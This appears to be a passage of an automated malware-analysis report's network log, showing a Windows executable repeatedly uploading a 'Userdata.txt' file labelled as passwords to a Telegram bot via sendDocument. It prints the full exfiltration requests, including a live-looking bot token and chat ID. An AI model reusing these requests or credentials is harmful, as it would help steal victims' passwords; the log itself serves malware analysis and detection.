2025-01-10 22:39:18 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:18 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:18 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 38 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 35 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43680,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548758,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49959	149.154.167.220	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:20 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3284bc2d1cb5 Host: api.telegram.org Content-Length: 1090
2025-01-10 22:39:20 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 38 34 62 63 32 64 31 63 62 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3284bc2d1cb5Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:39:20 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:20 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:20 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 38 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 36 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43681,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548760,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49971	149.154.167.220	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:21 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3299042231bc Host: api.telegram.org Content-Length: 1090
2025-01-10 22:39:21 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 39 39 30 34 32 32 33 31 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3299042231bcContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:39:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:21 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:21 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 38 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 36 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43682,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548761,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49983	149.154.167.220	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:23 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32ad3d6845d9 Host: api.telegram.org Content-Length: 1090
2025-01-10 22:39:23 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 61 64 33 64 36 38 34 35 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32ad3d6845d9Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:39:23 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:23 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:23 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 38 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 36 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43683,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548763,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49995	149.154.167.220	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:24 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32beb897ea19 Host: api.telegram.org Content-Length: 1090
2025-01-10 22:39:24 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 62 65 62 38 39 37 65 61 31 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32beb897ea19Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:39:25 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:24 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:25 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 38 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 36 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43684,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548764,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	50007	149.154.167.220	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:26 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32d2d677c1e5 Host: api.telegram.org Content-Length: 1090
2025-01-10 22:39:26 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 64 32 64 36 37 37 63 31 65 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32d2d677c1e5Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:39:26 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:26 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:26 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 38 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 36 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43685,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548766,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	50010	149.154.167.220	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:27 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32e58fd9cbdf Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:39:27 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 65 35 38 66 64 39 63 62 64 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32e58fd9cbdfContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:39:28 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:28 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:28 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 38 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 36 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43686,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548768,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	50012	149.154.167.220	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:29 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32f83c6c0893 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:39:29 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 66 38 33 63 36 63 30 38 39 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32f83c6c0893Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:39:29 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:29 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:29 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 38 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 36 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43687,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548769,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	50014	149.154.167.220	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:30 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd330adc3c2a0c Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
